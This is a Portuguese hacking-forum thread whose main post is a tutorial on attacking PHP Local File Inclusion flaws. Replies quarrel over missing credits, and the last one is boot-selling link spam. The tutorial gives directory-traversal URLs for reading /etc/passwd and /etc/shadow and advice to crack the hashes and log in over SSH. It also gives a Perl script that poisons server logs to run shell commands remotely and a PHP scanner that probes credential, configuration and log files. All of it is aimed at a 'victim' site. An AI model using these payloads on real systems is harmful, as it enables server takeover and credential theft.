Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

LFI – Local File Inclusion / Inclusão de arquivo local

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial LFI – Local File Inclusion / Inclusão de arquivo local

    Como não vi em nenhum local um tutorial completo de LFI , resolvi postar um aqui , lembrando que algumas das coisas nesse Post , foram retiradas de outros tutoriais , já que eu estava com preguiça de digitar :\ Vamos Lá.

    Bom Pessoal , Muito Gente já deve ter ouvido falar da famosa vulnerábilidade de PHP Injection ou Remote File Inclusion ( RFI ) Mas as pessoas não ouvem muito falar de várias vulnerábilidades muito perigosas , que também podem ser prejudiciais a um sistema.


    Existe uma vulnerábilidade pouco conhecido pelos novatos em hacking e defacement , essa vulnerábilidade é chamada de LFI ou Local File Inclusion , Um método de incluir um arquivo local no banco de dados de um site.


    Vamos a Teoria :

    Este tipo de ataque acontece quando a inclusão de ficheiros externos à aplicação principal (libraries, por exemplo) é feita sem validação. Normalmente são utilizados os comandos include() e require().

    Uma falha de Local File Inclusion dá a possibilidade de explorar o sistema de arquivos ao atacante.
    Sendo assim você consegue por exemplo acessar um arquivo que esteja no C: por exemplo, caso aquele webserver seja Windows.
    Ou um arquivo que está na /etc/ caso seja um servidor linux por exemplo.
    Dependendo do arquivo que você conseguir ter em mãos, isso pode se tornar um problema bem sério para aquele servidor.
    Imagine você tendo em mãos arquivos como log de acessos do servidor, ou até mesmo senhas de acesso ao servidor linux?
    Um servidor linux de hospedagem que possui dezenas de sites nele.
    Você consegue colocar as mãos no usuario e senha ROOT daquele servidor, loga pelo putty e tem tudo nas suas mãos.

    Isso é uma falha LFI.
    Se bem explorada, pode trazer danos críticos e altissimos ao servidor.
    —————————————-

    Explicado o que é LFI, vamos ver como seria uma pagina vulneravel a LFI.

    $pagina = $_GET[pagina];
    include($pagina);
    ?>

    Esse é um exemplo classico que ->nunca<- deve ser usado.
    Porque o $pagina não foi autenticado e passado diretamente para o website.
    Infelizmente esse erro hoje em dia é comum na internet…

    Bom, agora que já sabemos como é uma falha LFI, vamos começar a explora-la e usar a nosso favor não é mesmo?
    Primeiro vamos entender como essa falha nos da a habilidade de “navegar” por dentro do servidor.

    Vamos aprender uma coisa tanto no linux como no windows sobre diretórios, decore isso, mais pra frente você vai precisar:

    1. Seu site está em um diretório no servidor, por exemplo no linux (/var/www/) ou no windows (c:/webserver/htdocs/)
    2. ./ = acessa o diretório que você já está.
    3. ../ = acessa um diretório atras / volta um diretório.

    Se você está em C:\Windows\System32\ e faz ./
    Você vai continuar em C:\Windows\System32.
    Mas se você faz ../
    Você vai voltar 1 diretório, ou seja, vai para C:\Windows.

    Se você fizer então, ../../ Vai voltar para C:
    Entenderam a lógica disso? É bem simples não?

    —————————————-
    Agora vamos imaginar uma cena real.
    Vamos imaginar que o nosso alvo tem um arquivo, chamado teste.php e esse arquivo fica no (diretório principal)/teste.
    Se acessarmos “www”.vitima.com.br/teste/teste.php, iremos ver o conteúdo desse arquivo, certo?
    Mas o local onde detectamos a LFI é na index.php que fica no diretório principal!
    Vamos explorar a nossa LFI fazendo o seguinte:

    “www”.vitima.com.br/index.php?pagina=teste/teste.php

    WOW, veja o que temos aqui, foi exibido o conteúdo do teste.php na index.php!
    Vamos explicar o que aconteceu até agora:

    O arquivo index.php tinha uma falha de LFI, igual ao trecho do código que está lá em cima.
    O argumento ?pagina= é onde está a falha.
    teste/teste.php é igual a acessar o diretório teste, e depois abrir o teste.php

    Entenderam? =)

    Agora e se fosse ao contrario?
    O index.php esta no diretório teste, e o teste.php está no diretório principal?
    É ai que entra a explicação sobre diretórios lá em cima.
    Se acessarmos “www”.vitima.com.br/teste/index.php, iremos acessar a index que contém a falha, porém será a index normal.
    E o arquivo que queremos está um diretório acima, “www”.vitima.com.br/teste.php
    Nesse caso fariamos:

    “www”.vitima.com.br/teste/index.php?pagina=../teste.php

    Explicando o que aconteceu dessa vez:
    “www”.vitima.com.br Site de nossa vitima.
    /teste/ acessa o diretório teste no site de nossa vitima.
    index.php Arquivo que contém a falha de LFI.
    ?pagina= Argumento que da acesso a falha de LFI.
    ../ Volta 1 diretório

    teste.php Arquivo que queremos acessar =)

    Bom, meus amiguinhos, acho que deu para entender essa parte não é mesmo?
    É possivel brincadeiras com isso como:
    Queremos acessar um arquivo que está no (diretório principal)/teste2/teste2.php
    E a falha está em (diretório principal)/teste/teste/index.php
    Faremos então:
    “www”.vitima.com.br/teste/teste/index.php?pagina=../../teste2/teste2.php

    —————————————-
    Bom, meus amiguinhos acho que deu pra entender essa parte, então vamos continuando nossa aula…
    Agora que sabemos que podemos ir pra cima e pra baixo no servidor com essa falha, vamos explorar isso mais ainda, afinal não fizemos tudo isso pra exibir outros arquivos php sendo que podiamos acessa-los normalmente, não é mesmo?

    Vou continuar o tutorial daqui em diante como se fosse um servidor Linux, mas tendo em mente como é a falha pra linux e tendo um bom conhecimento de windows vocês vão poder explorar isso da mesma forma, será necessario só pequenas adaptações.

    As senhas de acesso no servidor linux são gravadas no diretório:
    /etc/passwd

    Tendo isso em mente podemos tentar usar a LFI do seguinte modo:
    “www”.vitima.com.br/index.php?pagina=../../../../../../../etc/passwd

    Porque?
    “www”.vitima.com.br/index.php?pagina= É onde está a vulnerabilidade.
    ../../../../../../../ Voltamos então varios diretórios com o intuito de alcançar a home do servidor linux.
    etc/passwd Acessar as senhas de acesso do servidor linux.

    Entenderam a logica? Não é muito dificil não é mesmo? =P

    Antes de mais nada, entendam que passwd é a abreviação de password, ou seja senha, então quando eu falar passwd vocês já vão saber mais o menos do que eu estou falando, enfim, continuando…

    Um arquivo de senhas pode ser jogado para as sombras (como é dito no linux). Isso será um problema…
    Um passwd que não está nas sombras será mais o menos assim:

    usuarioasswd:UID:GID:nome_completo:diretorio:she ll

    Por exemplo:
    symbiont:kbeMVnZM0oL7I:503:100:Meu_Nome:/home/symbiont:/bin/sh

    Tudo que você vai precisar fazer é decodificar a senha: kbeMVnZM0oL7I
    Pegar um cliente SSH, como putty por exemplo e agora que você tem o usuario e senha do servidor, fazer login normalmente.
    Caso a senha tenha sido jogado para as sombras, você vai ver mais o menos assim:

    usuario:x:503:100:nome_completo:/home/usuario:/bin/sh

    Como você pode ver, agora a senha é um “x”.
    Quando isso acontece, significa que a senha real e codificada vai estar em /etc/shadow

    “Ah mas então é facil, é só eu ir lá e pegar do mesmo jeito na LFI *-*”
    Não, não é bem assim que funciona hehe.
    Normalmente por padrão o /etc/shadow é bloqueado para poder ser visto somente pelo root, ou seja, você não vai conseguir acessar.
    E o /etc/passwd não tem esse bloqueio já que ele precisa ser lido por varios processos…

    Você também pode ver algo como:
    usuario:!:503:100:nome_completo:/home/usuario:/bin/sh

    O ! indica que a senha codificada está no diretório /etc/security/passwd

    Bom, aqui vai alguns diretórios interessantes para você visitar:

    /etc/passwd
    /etc/shadow
    /etc/group
    /etc/security/group
    /etc/security/passwd
    /etc/security/user
    /etc/security/environ
    /etc/security/limits
    /usr/lib/security/mkuser.default

    Como eu disse, você vai precisar do saber como acessar esses diretórios já que eles só podem ser lidos pelo root.
    Para isso você pode usar o Google, já que nossa “aula” não está trata disso, isso seria conteúdo para talvez uma proxima ocasião. ^^’

    —————————————-
    Vamos dar uma revisada no que aprendemos?

    Esse é um exemplo de código vulneravel a LFI:
    $pagina = $_GET["pagina"];
    include(“$pagina.php”);
    ?>

    Caso você note que conseguiu incluir um arquivo php usando a LFI, então você sabe que pode também incluir tudo que quiser!
    Sabendo disso vamos tentar pegar o passwd do servidor linux da seguinte forma:

    “www”.vitima.com.br/index.php?pagina=../../../../../../../../etc/passwd

    Muitas vezes quando fazemos o acessar o arquivo /etc/passwd
    É voltado uma mensagem falando que o arquivo não existe.
    Em situações como essa adicionamos um %00 no final.
    Exemplo:
    “www”.vitima.com.br/index.php?pagina=../../../../../../../../etc/passwd%00

    Esse %00 adiciona um byte nulo, e tudo que é colocado depois de %00 é ignorado

    Bom, aprendemos bastante sobre LFI até agora não é mesmo?
    Pois então continue lendo, a diversão de verdade está só começando =P

    Já sabemos como acessar arquivos, então vamos aumentar a dificuldade de nosso jogo, vamos tentar usar comandos no servidor atravez da LFI.
    Vamos fazer isso injetando códigos php nos logs do http server e então executando-os.

    Para fazer isso, primeiro você deverá encontrar onde os logs são salvos, ai vai alguns diretórios interessantes para você tentar explorar:

    ../apache/logs/error.log
    ../apache/logs/access.log
    ../../apache/logs/error.log
    ../../apache/logs/access.log
    ../../../apache/logs/error.log
    ../../../apache/logs/access.log
    ../../../../../../../etc/httpd/logs/acces_log
    ../../../../../../../etc/httpd/logs/acces.log
    ../../../../../../../etc/httpd/logs/error_log
    ../../../../../../../etc/httpd/logs/error.log
    ../../../../../../../var/www/logs/access_log
    ../../../../../../../var/www/logs/access.log
    ../../../../../../../usr/local/apache/logs/access_ log
    ../../../../../../../usr/local/apache/logs/access. log
    ../../../../../../../var/log/apache/access_log
    ../../../../../../../var/log/apache2/access_log
    ../../../../../../../var/log/apache/access.log
    ../../../../../../../var/log/apache2/access.log
    ../../../../../../../var/log/access_log
    ../../../../../../../var/log/access.log
    ../../../../../../../var/www/logs/error_log
    ../../../../../../../var/www/logs/error.log
    ../../../../../../../usr/local/apache/logs/error_l og
    ../../../../../../../usr/local/apache/logs/error.l og
    ../../../../../../../var/log/apache/error_log
    ../../../../../../../var/log/apache2/error_log
    ../../../../../../../var/log/apache/error.log
    ../../../../../../../var/log/apache2/error.log
    ../../../../../../../var/log/error_log
    ../../../../../../../var/log/error.log

    Certo, agora que você já sabe onde estão os logs do http server vamos continuar a brincadeira.
    Nesse tutorial vamos usar um exemplo de “Essa pagina não existe”
    Quando você tenta acessar por exemplo:
    “www”.vitima.com.br/index.php?pagina=cmd
    Ele diz que a pagina não existe, afinal aquilo realmente não existe no servidor certo?
    Mas após fazer isso, vamos novamente acessar o arquivo de log, note que existe um novo erro lá!
    Deverá ser algo mais o menos assim:

    %3C?%20passthru($_GET[cmd])%20?>

    Isso porque o seu browser sai códificando tudo que ve pela frente ^.^
    Bom, para continuar daqui pra frente, você vai precisar saber criar alguns brinquedinhos…

    Ah, mas você não sabe como criar esses brinquedinhos?
    Poxa vamos lá então, ai está um exploit programado em perl.
    Código:

    #!/usr/bin/perl -w
    use IO::Socket;
    use LWP::UserAgent;
    $site="vitima.com.br";
    $diretorio="/pasta/";
    $codigo="";
    $log = "../../../../../../../etc/httpd/logs/error_log";

    print "Tentando injetar código...";

    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "Falha de conexão.";
    print $socket "GET ".$diretorio.$codigo." HTTP/1.1";
    print $socket "User-Agent: ".$codigo."";
    print $socket "Host: ".$site."";
    print $socket "Connection: close";
    close($socket);
    print "Codigo $codigo injetado com sucesso em $log";
    print "Escreva o comando que deseja executar ou exit para fechar: ";
    $cmd = ;
    while($cmd !~ "exit") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "Falha de conexao.";
    print $socket "GET ".$diretorio."index.php=".$log."&cmd=$cmd HTTP/1.1";
    print $socket "Host: ".$site."";
    print $socket "Accept: */*";
    print $socket "Connection: close";
    while ($mostrar = <$socket>)
    {
    print $mostrar;
    }
    print "Escreva o comando que deseja executar ou exit para sair: ";
    $cmd = ;
    }

    Copie e cole isso em um bloco de notas e salve como qualquer coisa.pl
    E obviamente troque seus parametros de acordo com sua vitima.

    Caso o arquivo vulneravel esteja em:
    “www”.meusite.com.br/principal/teste.php

    Você deverá mudar os parametros da seguinte forma:
    $site=”meusite.com.br”;
    $diretorio=”/principal/”

    Em $log você deve colocar o caminho dos logs que você encontrou explorando sua LFI.
    Execute o perl, e quando o script pedir para você digitar o comando que deseja executar, hehe ai você já sabe o que fazer espero eu.
    Se não souber, por favor esqueça esse tutorial por enquanto, vá até o google e escreva: “Comandos linux” (sem aspas) e clique em “Estou com sorte”.

    É isso ai galerinha, tentei dar o meu melhor nesse tutorial para ficar bem explicadinho.
    Agora são 7:04 da manhã, falta pouco tempo para eu ter que sair, vou tomar um bom banho e um café da manhã.

    Espero que gostem

    —————————————-
    Não tenho como escrever créditos para a aula, pois ela foi feita com base em meus estudos que já venho tendo a anos, entãooo, hehe não me lembro todos que me ensinaram cada coisa, cada site que usei para estudar e etc…

    Usem essa “aula” com inteligencia, não pensem só em atacar e destruir.
    Pensem que com isso vocês já sabem como se proteger.
    Ninguem precisa ser um black hat que só pensa em destruir, vocês não vão estar ganhando absolutamente nada com isso.
    E não me venham com esse blablabla de que estão destruindo servidores e sites por um proposito maior para a sua patria…
    Por favor, esse blablabla ai já deu e não cola mais né?

    Se querem ser algo do genero, que sejam no minimo Gray hats.
    Usem seu conhecimento não só para ataque, mas para segurança.
    E acima de tudo! Usem o conhecimento… E se não conhecem, não façam sem conhecer, busquem primeiro conhecer no que estão se metendo, e como aquilo funciona.
    Depois disso, vocês vão poder se considerar hackers.
    Diferente daqueles que só pegam uma ferramenta e usam, e ai você chega neles e fala: Nossa que legal, como isso funciona! ^^
    E ele fica sem resposta.

    Scanner de LFI em PHP :
    <?php
    $passwd = array(
    '../../../../../../../../../../../etc/passwd',
    '../../../../../../../../../../../etc/passwd%00',
    );
    $file_scan = array(
    'etc/passwd',
    'etc/shadow',
    'etc/group',
    'etc/security/group',
    'etc/security/passwd',
    'etc/security/user',
    'etc/passwd%00',
    'etc/security/environ',
    'etc/security/limits',
    'usr/lib/security/mkuser.default',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'etc/httpd/logs/acces_log',
    'etc/httpd/logs/acces.log',
    'etc/httpd/logs/error_log',
    'etc/httpd/logs/error.log',
    'var/www/logs/access_log',
    'var/www/logs/access.log',
    'usr/local/apache/logs/access_ log',
    'usr/local/apache/logs/access. log',
    'var/log/apache/access_log',
    'var/log/apache2/access_log',
    'var/log/apache/access.log',
    'var/log/apache2/access.log',
    'var/log/access_log',
    'var/log/access.log',
    'var/www/logs/error_log',
    'var/www/logs/error.log',
    'usr/local/apache/logs/error_log',
    'usr/local/apache/logs/error.log',
    'var/log/apache/error_log',
    'var/log/apache2/error_log',
    'var/log/apache/error.log',
    'var/log/apache2/error.log',
    'var/log/error_log',
    'var/log/error.log',
    'var/log/httpd/access_log',
    'var/log/httpd/error_log',
    'var/log/httpd/access_log',
    'var/log/httpd/error_log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'apache2/logs/error.log',
    'apache2/logs/access.log',
    'apache2/logs/error.log',
    'apache2/logs/access.log',
    'apache2/logs/error.log',
    'apache2/logs/access.log',
    'apache2/logs/error.log',
    'apache2/logs/access.log',
    'apache2/logs/error.log',
    'apache2/logs/access.log',
    'logs/error.log',
    'logs/access.log',
    'logs/error.log',
    'logs/access.log',
    'logs/error.log',
    'logs/access.log',
    'logs/error.log',
    'logs/access.log',
    'logs/error.log',
    'logs/access.log',
    'etc/httpd/logs/acces_log',
    'etc/httpd/logs/acces.log',
    'etc/httpd/logs/error_log',
    'etc/httpd/logs/error.log',
    'usr/local/apache/logs/access_log',
    'usr/local/apache/logs/access.log',
    'usr/local/apache/logs/error_log',
    'usr/local/apache/logs/error.log',
    'usr/local/apache2/logs/access_log',
    'usr/local/apache2/logs/access.log',
    'usr/local/apache2/logs/error_log',
    'usr/local/apache2/logs/error.log',
    'var/www/logs/access_log',
    'var/www/logs/access.log',
    'var/www/logs/error_log',
    'var/www/logs/error.log',
    'var/log/httpd/access_log',
    'var/log/httpd/access.log',
    'var/log/httpd/error_log',
    'var/log/httpd/error.log',
    'var/log/apache/access_log',
    'var/log/apache/access.log',
    'var/log/apache/error_log',
    'var/log/apache/error.log',
    'var/log/apache2/access_log',
    'var/log/apache2/access.log',
    'var/log/apache2/error_log',
    'var/log/apache2/error.log',
    'var/log/access_log',
    'var/log/access.log',
    'var/log/error_log',
    'var/log/error.log',
    'opt/lampp/logs/access_log',
    'opt/lampp/logs/error_log',
    'opt/xampp/logs/access_log',
    'opt/xampp/logs/error_log',
    'opt/lampp/logs/access.log',
    'opt/lampp/logs/error.log',
    'opt/xampp/logs/access.log',
    'opt/xampp/logs/error.log',
    'Program Files\Apache Group\Apache\logs\access.log',
    'Program Files\Apache Group\Apache\logs\error.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache/logs/access.log',
    'logs/error.log',
    'logs/access.log',
    'logs/error.log',
    'logs/access.log',
    'logs/error.log',
    'logs/access.log',
    'logs/error.log',
    'logs/access.log',
    'logs/error.log',
    'logs/access.log',
    'logs/error.log',
    'logs/access.log',
    'etc/httpd/logs/acces_log',
    'etc/httpd/logs/acces.log',
    'etc/httpd/logs/error_log',
    'etc/httpd/logs/error.log',
    'var/www/logs/access_log',
    'var/www/logs/access.log',
    'usr/local/apache/logs/access_log',
    'usr/local/apache/logs/access.log',
    'var/log/apache/access_log',
    'var/log/apache/access.log',
    'var/log/access_log',
    'var/www/logs/error_log',
    'var/www/logs/error.log',
    'usr/local/apache/logs/error_log',
    'usr/local/apache/logs/error.log',
    'var/log/apache/error_log',
    'var/log/apache/error.log',
    'var/log/access_log',
    'var/log/error_log',
    'usr/local/apache/conf/httpd.conf',
    'usr/local/apache2/conf/httpd.conf',
    'etc/httpd/conf/httpd.conf',
    'etc/apache/conf/httpd.conf',
    'usr/local/etc/apache/conf/httpd.conf',
    'etc/apache2/httpd.conf',
    'usr/local/apache/conf/httpd.conf',
    'usr/local/apache2/conf/httpd.conf',
    'usr/local/apache/httpd.conf',
    'usr/local/apache2/httpd.conf',
    'usr/local/httpd/conf/httpd.conf',
    'usr/local/etc/apache/conf/httpd.conf',
    'usr/local/etc/apache2/conf/httpd.conf',
    'usr/local/etc/httpd/conf/httpd.conf',
    'usr/apache2/conf/httpd.conf',
    'usr/apache/conf/httpd.conf',
    'usr/local/apps/apache2/conf/httpd.conf',
    'usr/local/apps/apache/conf/httpd.conf',
    'etc/apache/conf/httpd.conf',
    'etc/apache2/conf/httpd.conf',
    'etc/httpd/conf/httpd.conf',
    'etc/http/conf/httpd.conf',
    'etc/apache2/httpd.conf',
    'etc/httpd/httpd.conf',
    'etc/http/httpd.conf',
    'etc/httpd.conf',
    'opt/apache/conf/httpd.conf',
    'opt/apache2/conf/httpd.conf',
    'var/www/conf/httpd.conf',
    'private/etc/httpd/httpd.conf',
    'private/etc/httpd/httpd.conf.default',
    'Volumes/webBackup/opt/apache2/conf/httpd.conf',
    'Volumes/webBackup/private/etc/httpd/httpd.conf',
    'Volumes/webBackup/private/etc/httpd/httpd.conf.default',
    'Program Files\Apache Group\Apache\conf\httpd.conf',
    'Program Files\Apache Group\Apache2\conf\httpd.conf',
    'Program Files\xampp\apache\conf\httpd.conf',
    'usr/local/php/httpd.conf.php',
    'usr/local/php4/httpd.conf.php',
    'usr/local/php5/httpd.conf.php',
    'usr/local/php/httpd.conf',
    'usr/local/php4/httpd.conf',
    'usr/local/php5/httpd.conf',
    'Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
    'Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
    'Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
    'Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
    'Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
    'Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
    'usr/local/etc/apache/vhosts.conf',
    'etc/php.ini',
    'bin/php.ini',
    'etc/httpd/php.ini',
    'usr/lib/php.ini',
    'usr/lib/php/php.ini',
    'usr/local/etc/php.ini',
    'usr/local/lib/php.ini',
    'usr/local/php/lib/php.ini',
    'usr/local/php4/lib/php.ini',
    'usr/local/php5/lib/php.ini',
    'usr/local/apache/conf/php.ini',
    'etc/php4.4/fcgi/php.ini',
    'etc/php4/apache/php.ini',
    'etc/php4/apache2/php.ini',
    'etc/php5/apache/php.ini',
    'etc/php5/apache2/php.ini',
    'etc/php/php.ini',
    'etc/php/php4/php.ini',
    'etc/php/apache/php.ini',
    'etc/php/apache2/php.ini',
    'web/conf/php.ini',
    'usr/local/Zend/etc/php.ini',
    'opt/xampp/etc/php.ini',
    'var/local/www/conf/php.ini',
    'etc/php/cgi/php.ini',
    'etc/php4/cgi/php.ini',
    'etc/php5/cgi/php.ini',
    'php5\php.ini',
    'php4\php.ini',
    'php\php.ini',
    'PHP\php.ini',
    'WINDOWS\php.ini',
    'WINNT\php.ini',
    'apache\php\php.ini',
    'xampp\apache\bin\php.ini',
    'NetServer\bin\stable\apache\php.ini',
    'home2\bin\stable\apache\php.ini',
    'home\bin\stable\apache\php.ini',
    'Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
    'usr/local/cpanel/logs',
    'usr/local/cpanel/logs/stats_log',
    'usr/local/cpanel/logs/access_log',
    'usr/local/cpanel/logs/error_log',
    'usr/local/cpanel/logs/license_log',
    'usr/local/cpanel/logs/login_log',
    'usr/local/cpanel/logs/stats_log',
    'var/cpanel/cpanel.config',
    'var/log/mysql/mysql-bin.log',
    'var/log/mysql.log',
    'var/log/mysqlderror.log',
    'var/log/mysql/mysql.log',
    'var/log/mysql/mysql-slow.log',
    'var/mysql.log',
    'var/lib/mysql/my.cnf',
    'etc/mysql/my.cnf',
    'etc/my.cnf',
    'etc/logrotate.d/proftpd',
    'www/logs/proftpd.system.log',
    'var/log/proftpd',
    'etc/proftp.conf',
    'etc/protpd/proftpd.conf',
    'etc/vhcs2/proftpd/proftpd.conf',
    'etc/proftpd/modules.conf',
    'var/log/vsftpd.log',
    'etc/logrotate.d/vsftpd.log',
    'etc/vsftpd/vsftpd.conf',
    'etc/vsftpd.conf',
    'var/log/xferlog',
    'var/adm/log/xferlog',
    'etc/wu-ftpd/ftpaccess',
    'etc/wu-ftpd/ftphosts',
    'etc/wu-ftpd/ftpusers',
    'usr/sbin/pure-config.pl',
    'usr/etc/pure-ftpd.conf',
    'etc/pure-ftpd/pure-ftpd.conf',
    'usr/local/etc/pure-ftpd.conf',
    'usr/local/etc/pureftpd.pdb',
    'usr/local/pureftpd/etc/pureftpd.pdb',
    'usr/local/pureftpd/sbin/pure-config.pl',
    'usr/local/pureftpd/etc/pure-ftpd.conf',
    'etc/pure-ftpd.conf',
    'etc/pure-ftpd/pure-ftpd.pdb',
    'etc/pureftpd.pdb',
    'etc/pureftpd.passwd',
    'etc/pure-ftpd/pureftpd.pdb',
    'usr/ports/ftp/pure-ftpd/',
    'usr/ports/net/pure-ftpd/',
    'usr/pkgsrc/net/pureftpd/',
    'usr/ports/contrib/pure-ftpd/',
    'var/log/pure-ftpd/pure-ftpd.log',
    'logs/pure-ftpd.log',
    'var/log/pureftpd.log',
    'var/log/ftp-proxy/ftp-proxy.log',
    'var/log/ftp-proxy',
    'var/log/ftplog',
    'etc/logrotate.d/ftp',
    'etc/ftphosts',
    'var/log/exim_mainlog',
    'var/log/exim/mainlog',
    'var/log/maillog',
    'var/log/exim_paniclog',
    'var/log/exim/paniclog',
    'var/log/exim/rejectlog',
    'var/log/exim_rejectlog',
    'etc/httpd/logs/acces_log',
    'etc/httpd/logs/acces.log',
    'etc/httpd/logs/error_log',
    'etc/httpd/logs/error.log',
    'usr/local/apache/logs/access_log',
    'usr/local/apache/logs/access.log',
    'usr/local/apache/logs/error_log',
    'usr/local/apache/logs/error.log',
    'usr/lib/security/mkuser.default',
    'usr/local/apache2/logs/access_log',
    'usr/local/apache2/logs/access.log',
    'usr/local/apache2/logs/error_log',
    'usr/local/apache2/logs/error.log',
    'apache/logs/access.log',
    'apache/logs/error.log',
    'apache2/logs/error.log',
    'apache2/logs/access.log',
    'var/www/logs/access_log',
    'var/www/logs/access.log',
    'var/log/apache/access_log',
    'var/log/apache2/access_log',
    'var/log/apache/access.log',
    'var/log/apache2/access.log',
    'var/www/logs/error_log',
    'var/www/logs/error.log',
    'var/log/access_log',
    'var/log/access.log',
    'var/log/apache/error_log',
    'var/log/apache2/error_log',
    'var/log/apache/error.log',
    'var/log/apache2/error.log',
    'var/log/error_log',
    'var/log/error.log',
    'var/log/httpd/access_log',
    'var/log/httpd/error_log',
    'var/log/httpd/access.log',
    'var/log/httpd/error.log',
    'opt/lampp/logs/access_log',
    'opt/lampp/logs/error_log',
    'opt/xampp/logs/access_log',
    'opt/xampp/logs/error_log',
    'opt/lampp/logs/access.log',
    'opt/lampp/logs/error.log',
    'opt/xampp/logs/access.log',
    'opt/xampp/logs/error.log',
    );
    $match = array('root','GET \/ HTTP','Global Environment','magic_quotes_gpc','NamevirtualHost', 'ProFTPD');
    if($argc < 3) {
    print "[+] LFI Path Scanner - DarkLFI.php\n";
    print "[+] Usage: $argv[0] <site> <type> <end>\n";
    print "[+] Example: $argv[0] Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... 1 1\n";
    exit;
    }
    if($argv[2] != '0' && $argv[2] != '1') {
    print "[+] Wrong type entered\n";
    print "0 and 1 only\n";
    exit;
    }
    if($argv[2] == '1') {
    $error = 1;
    } else {
    $error = 0;
    }
    if($argv[3] != '0' && $argv[3] != '1') {
    print "[+] Wrong end entered\n";
    print "0 and 1 only\n";
    exit;
    }
    if($argv[3] == '1') {
    $end = '%00';
    } else {
    $end = '';
    }
    if($error == '1') {
    print "Detecting Path...\n";
    if(preg_match("/No such file or directory in <b>(.*?)<\/b>/", open_site($argv[1]."'"), $path)) {
    print "[+] Found Path [ $path[1] ]\n";
    } else {
    print "[+] Path not found...\n";
    exit;
    }
    $p = explode("/", $path[1]);
    $cd = count($p)-2;
    for($i = 1; $i <= $cd; $i++) {
    $real .= "../";
    }
    print "[+] LFI Path Count: $cd\n";
    print "[+] LFI Directory : $real\n";
    print "[+] Start LFI Scanning...\n";
    foreach($file_scan as $path) {
    if(!preg_match("/<b>Warning<\/b>:/", open_site($argv[1].$real.$path.$end))) {
    print "[+] Found LFI [ ".$argv[1].$real.$path.$end." ]\n";
    }
    }
    } else {
    print "[+] Finding /etc/passwd path...\n";
    foreach($passwd as $pass) {
    if(preg_match("/root:x:/", open_site($argv[1].$pass.$end))) {
    print "[+] /etc/passwd Found [ ".$argv[1].$pass." ]\n";
    }
    }
    $p = explode("/", $pass);
    $cd = count($p)-2;
    for($i = 1; $i <= $cd; $i++) {
    $real .= "../";
    }
    print "[+] LFI Path Count: $cd\n";
    print "[+] LFI Directory : $real\n";
    print "[+] Start LFI Scanning...\n";
    foreach($file_scan as $file) {
    foreach($match as $list) {
    if(preg_match("/$list/", open_site($argv[1].$real.$file.$end))) {
    print "[+] LFI Found [ ".$argv[1].$real.$file.$end." ]\n";
    }
    }
    }
    }
    function open_site($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    $result = curl_exec($ch);
    return $result;
    }
    ?>

  • Font Size
    #2
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    KKKK'
    \m/

    Comment


    • Font Size
      #3
      Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

      KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKK
      sigpic
      Skype: lwks.owner | Email: lwks@programmer.net | Youtube
      "Todo silêncio tem um nome, tem um motivo!"
      (Lwks#)

      Comment


      • Font Size
        #4
        E ainda nem coloca os créditos


        "Só Deus pode me julgar" 2Pac Eterno.


        Comment


        • Font Size
          #5
          Amigo , não avisei logo acima isso
          lembrando que algumas das coisas nesse Post , foram retiradas de outros tutoriais

          Eu Deixei bem claro que peguei coisas desse post em outros tutoriais , então não vejo necessidades para risadas , se você ri , faça melhor colega , só estou aqui para ajudar , se não gostou , não comente.

          Comment


          • Font Size
            #6
            Peço Desculpas por eu ter esquecido de colocar os créditos , realmente fiz o tópico bem apressado -
            Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

            Essa é a Fonte de pesquisa ^^

            Comment


            • Font Size
              #7
              que noob man .

              Não consegue fazer o próprio tutorial...
              e apela pro ctrl c + ctrl v.

              (Mano é melhor nem fazer o post se não colocar os créditos)
              sigpic
              Skype: lwks.owner | Email: lwks@programmer.net | Youtube
              "Todo silêncio tem um nome, tem um motivo!"
              (Lwks#)

              Comment


              • Font Size
                #8
                Acontece cara sem Problemas, mais sempre tem aquele que acha que tem conhecimentos mais avançados que todos, quando na verdade só servem para criticar os Demais e consequentimente não ajudam e nem contribuem com absolutamente nada.

                Comment


                • Font Size
                  #9
                  &lt;a href=&quot;http://www.loveuggshoes.co.uk/#GRjh68vj&quot;&gt;uggs on sale&lt;/a&gt;

                  uggs,<a href="http://www.bootsuggstore.co.uk/#HGuj68JHl">ugg boots clearance</a>
                  ,cheap uggs
                  <a href="http://www.loveuggshoes.co.uk/#GRjh62hj">ugg boots</a>
                  ,ugg boots
                  <a href="http://www.bootsuggstore.co.uk/#HGuj105JHl">wear brown uggs</a>
                  ,ugg boots sale
                  <a href="http://www.loveuggshoes.co.uk/#GRjh66wj">cheap uggs</a>
                  ,ugg boots uk
                  <a href="http://saleuggstore.co.uk/ugg-ultra-tall-boots-5245-black-p-134.html">hot pink uggs with black sole</a>
